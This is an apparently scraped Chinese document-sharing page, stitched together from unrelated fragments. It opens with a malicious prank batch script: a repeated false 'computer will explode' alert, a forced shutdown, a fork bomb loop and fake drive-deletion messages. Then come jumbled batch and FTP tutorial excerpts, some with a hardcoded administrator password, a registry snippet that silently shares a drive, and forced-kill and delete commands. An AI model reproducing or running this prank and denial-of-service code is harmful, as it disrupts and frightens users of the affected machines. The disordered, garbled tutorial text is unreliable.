“请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %usern ame% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”shutdown -s -f -t 12、@echo offecho 你中招了:astart cmd.EⅩEstart %0goto a@ color 4f@echo offecho 删除计算机的C盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的D盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.。

Bat脚本处理ftp超强案例解说

Bat脚本处理ftp超强案例解说

Bat脚本处理ftp超强案例解说Bat脚本处理ftp超强案例解说前⾔:公司有⼏百台windows服务器,每次程序更新,如果是⼀台台拷数据,只怕安排⼗个⼈,⼀天都不⼀定做得完,所以就必须研究个全⾃动更新⽅案来,于是就想到了FTP,做个主FTP站,在⼏百台客户机上启动BAT脚本,每30秒检测⼀次,如果主站有更新程序,就⾃动下载更新,⼏分钟内,上400台windows服务器,都可以全⾃动更新程序完毕,相当实⽤,现把当初研究BAT的脚本思路贴出来,希望对⼤批量运维⼈员⼀个⽅向。

当然,批量更新服务器,每个公司有它⾃⼰的解决办法,这个BAT的⽅式不是最优的,可以⽤shell,可以⽤perl,也可以⽤python等脚本解决。

⼀、FTP命令说明1、在windows系统中因为FTP是⼀个程序,如果在bat脚本中直接调⽤FTP的命令,在执⾏时总会弹出命令⾏窗⼝,循环在>FTP光标这,所以要换种⽅式,利⽤-S:filename,更多的命令请输⼊-h查看。

2、FTP登录成功后,需要下载远程单个⽂件时,使⽤get命令,如果下载多个⽂件时,⽤mget,它⽀持通配符,在使⽤mget时,需要对每⼀个⽂件都进⾏选择Y/N,如果想不交互的下载全部的⽂件,可以输⼊⼀次prompt命令关闭交互⽅式。

Mput和mget命令要注意两个问题:Ⅰ、不能对⽬标⽂件指定命字,在命令⾏上所有的⽂件都视做源⽂件Ⅱ、mput,mget两个命令不能对⽬录进⾏上传与下载,只能对⽂件Ⅲ、Prompt:每次执⾏⼀个这个命令,就在on ,off之间循环,ftp脚本开始时,prompt默认为on,所以⼀般在上传、下载⽂件时,执⾏⼀次prompt,把交互式的on关掉,变为off。

3、⽂件的传输⽅式:Binary ,⼆进制传输Ascii ,ascII传输在FTP⽂件传输过程中,ASCII传输HTML和⽂本编写的⽂件,⽽⼆进制码传输可以传送⽂本和⾮⽂本(执⾏⽂件,压缩⽂件,图⽚等),具有通⽤性,⼆进制码传输速度⽐ASCII传输要快,所以在建⽴bat脚本时,⼀般输⼊bin命令,启⽤⼆进制传输。

一些简单的命令bat

一些简单的命令bat

一些简单的命令bat2007/09/20 13:54该教程一共分为4大部分,第一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。

第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。

这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。

1、 REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。

例:REM 你现在看到的就是注解,这一句将不会被执行。

在以后的例子中解释的内容都REM 会放在REM后面。

请大家注意。

2、 ECHOECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息。

例:Echo offRem 以上代表关闭回显即不显示所执行的命令Echo 这个就是消息。

Rem 以上代表显示"这就是消息"这列字符执行结果:C:\>ECHO.BAT这个就是消息。

3、 GOTOGOTO 即为跳转的意思。

在批处理中允许以":XXX"来构建一个标号然后用GOTO :标号直接来执行标号后的命令。

例:LABELREM 上面就是名为LABEL的标号。

DIR C:\DIR D:\GOTO LABELREM 以上程序跳转标号LABEL处继续执行。

4、CALLCALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。

例:批处理2.BAT内容如下:ECHO 这就是2的内容批处理1.BAT内容如下:ECHO 这是1的内容CALL 2.BATECHO 1和2的内容全部显示完成执行结果如下:C:\>1.BAT这是1的内容这就是2的内容1和2的内容全部显示完成5、PAUSEPAUSE 停止系统命令的执行并显示下面的内容。

例:C:\> PAUSE请按任意键继续 . . .6、 IFIF 条件判断语句,语法格式如下:IF [NOT] ERRORLEVEL number commandIF [NOT] string1==string2 commandIF [NOT] EXIST filename command说明:[NOT] 将返回的结果取反值即"如果没有"的意思。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

如果你需要经常重启机器,可以编写一个快速关机的bat文件,还是打开一个记事本,写入:
@echo off
//关闭命令行显示
%systemroot%\system32\shutdown -r -t 0
//-r参数表示重启计算机,-t表示时间后边跟随等待秒数,为0则表示马上重启
//Flags用于是确定共享目录的访问方式,其中"Flags"=dword:00000102是完全共享,101是只读,103是根据密码访问。
echo "Parm1enc"=123:>>c:\1.reg
//Parm1enc键值保存着完全访问方式下的密码
echo "Parm2enc"=456:>>c:\1.reg
我们来了解一下这个加密的具体原理,在Windows中“\”符号代表的是路径分隔符,用于区分父文件夹与子文件夹。所以Windows无法打开名称中含有“\”的文件或文件夹,双击这类文件或文件夹时系统会提示错误,如图3所示。而这类文件夹在命令行模式下是可以访问的。我们在abc文件夹中建立这么一个无法打开的文件夹,当需要加密时,用加密.bat将abc文件夹中的内容复制到这个特殊文件夹中。反之,将其复制出来则完成解密工作。如果将命令:D:\abc>md 1..\,改为:D:\abc>md 1..\a,则1..\文件夹将不可见。
set source=e:\work
//文件来源为本机e盘的work文件夹
set dest=\\192.168.0.1\backup
//目标文件夹为PC机192.168.0.1的backup文件夹
net use \\192.168.0.1\IPC$ "1234" /user:"administrator"
//显示在bat运行前,起到提示作用
pause
//暂停运行,按任意键继续,如果需要定时运行,则不要此段
net send * 9点断网
//发送下“9点断网”的信息,网段中所有的机器,“*”表示所有的机器
将其保存为bat文件,双击后得到如图2所示的效果。再按键盘上的任意键,信息将被发送到全网。如果你希望它定时发送,则将pause字段去掉,然后将其加入到计划任务中即可
将这个存为bat文件,再双击即可。如果你嫌整理的时间太长,不愿意在一旁守着,可以在文件的结尾输入:shutdown -s -f,让其执行完关机即。
二、一律从简——让网络操作变轻松
访问共享文件夹、备份网络数据、切换网络配置等常规网络操作,如果采用传统做法,实在是费时费力。用bat文件,一切将可以简化为一个双击动作。
@echo off
netsh interface ip set address name="本地连接" source=static addr=10.10.10.1 mask=255.255.255.0
//设置本地连接的ip地址为:10.10.10.1,子网掩码为:255.255.255.0
2.屏蔽淘宝网广告
很多惹人厌的网站都喜欢在我们的机器中弹出一堆的广告,以增加其知名度,淘宝就是其中的一个,它的广告在你的桌面上肆无忌惮的弹出,实在让人没有安全感,我们可以用bat文件将其禁用。对于操作系统是Windows XP/2003的系统,建立bat文件:
%SystemRoot% \system32 \notepad.exe C:\WINDOWS \system32 \drivers \etc \hosts
netsh interface ip set address name="本地连接" gateway=110.10.10.2 gwmetric=0
//设置网关
netsh interface ip set dns name="本地连接" source=static addr=10.10.10.3 register=PRIMARY
我们的操作系统虽然功ቤተ መጻሕፍቲ ባይዱ强大,但是在某方面的应用上依旧存在欠缺,如:没有定时关机软件。而用bat文件可以解决很多这类问题。
1.关机与重启
我们先做个让电脑在每天指定时间关机的bat,具体方法如下:
打开附件中的记事本,然后在里边写入,at 22:00 shutdown -s -f,然后选择“文件→保存”,保存类型选择“所有文件”,然后将其命名为:shutdown.bat,如图1所示。如果你希望每天都在晚上十点关机,则将这个文件拖动到“开始→程序→启动”中,这样每次开机该文件都将被执行,其具体含义是,at 22:00在每天十点,shutdown -s -f关机且关闭所有未响应程序。
如果操作系统是Windows 98/ME,则需将首行替换为:%SystemRoot%\system32\notepad.exe C:\WINDOWS\hosts,这个bat文件的作用是将与淘宝相关的网页都指向一个空IP,是你的机器无法访问淘宝,也就不会看到它的广告了,呵呵。
其实bat文件还有很多强大的功能,如:自动安装软件、操作系统,杀毒,批量删除文件等。下面列出几个实例。
2.磁盘整理
Windows XP自带的磁盘碎片整理程序无法进行全盘整理,我们可以编写一个全盘整理的bat,在记事本里边输入:
defrag c: /f /v
defrag d: /f /v
//有几个分区就写几行,其中-f表示即使可用磁盘空间不足,也强制进行磁盘整理。-v表示显示整理结果。
xcopy %source% %dest% /e /v /r /y /z
//将源盘文件拷贝到目的服务器
将其保存为bat文件,以后只要双击此文件即可完成备份任务。
三、固若金汤——令电脑安全更放心
1.用bat加密文件
无论使用使用加密工具还是系统自带的EFS加密,一旦遇到密码丢失或者证书损坏时,想要恢复原来的文件就变得非常困难,用bat文件实现的加密则非常简单。
2.在局域网中群发信息
如果你局域网中的机器没有禁止信使服务的话(启用方法为:在“运行”里输入:services.msc,双击里边的Messenger,选择启用即可),当需要定时向全网发送消息时,完全可以用批处理文件实现,实现方法是:
rem 准备发布“9点断网”给局域网所有计算机
1.auto病毒专杀:
@echo on
taskkill /im explorer.exe /f
taskkill /im wscript.exe
start reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\EXplorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 1 /f
共享文件夹管理不当,会产生严重安全隐患,所以有时为了安全,需要批量卸载掉共享文件夹,其实只要将命令:net share c$ /del加入到bat文件中即可,其中c$为共享文件夹的名字,完整的例子可以到XXXX下载。
4.备份网络数据
你还可以利用bat文件将数据备份到局域网内的某台文件服务器上,这样就省去了复制粘贴的麻烦,具体做法是:
REGEDIT /S c:\j.reg DEL c:\j.reg cls exit
用户运行这个bat文件后,再注销一下,文件夹就会被共享出来了。如果你每天都需要访问某个共享文件夹,且这个共享文件夹设置了密码,你还可以让bat文件帮你在开机的时候先输入密码,你再访问时就只需要双击打开即可。输入:net use \\192.168.0.1\IPC$ "1234" /user:"administrator,这个表示访问PC机192.168.0.1上边的共享文件夹,用administrator用户,密码为:1234。将其保存为bat文件,并将其加入到启动组中即可。
具体的操作步骤为,首先在D盘中建立一个文件夹ABC,然后在运行中输入:cmd后回车,打开命令行编辑窗口,然后输入:
C:\>Documents and Settings\Administrator\cd\
C:\>d:
D:\>cd abc
D:\abc>md 1..\
//在abc目录下建立s.目录
然后在abc目录下建立一个bat文件,内容为:
copy abc\* 1..\*
del /q abc\*
将其保存为:加密.bat,并将其放到abc目录下。然后再建立一个bat文件,内容为:
copy 1..\* abc\*
将其保存为:解密.bat,顾名思义,需要加密文件时双击加密.bat文件,需要解密时双击解密.bat文件。
//设置主dns
netsh interface ip add dns name="本地连接" addr=10.10.10.4
//设置备份dns
netsh interface ip set wins name="本地连接" source=static addr=none
//设置wins
start reg import kill.reg
del c:\autorun.* /f /q /as
kill taobao
0.0.0.0 [url][/url]
0.0.0.0
0.0.0.0
0.0.0.0 [url][/url]
0.0.0.0 [url][/url]
//Parm2enc键值保存着只读访问方式下的密码
echo "Path"="D:\">>c:\1.reg
相关文档
最新文档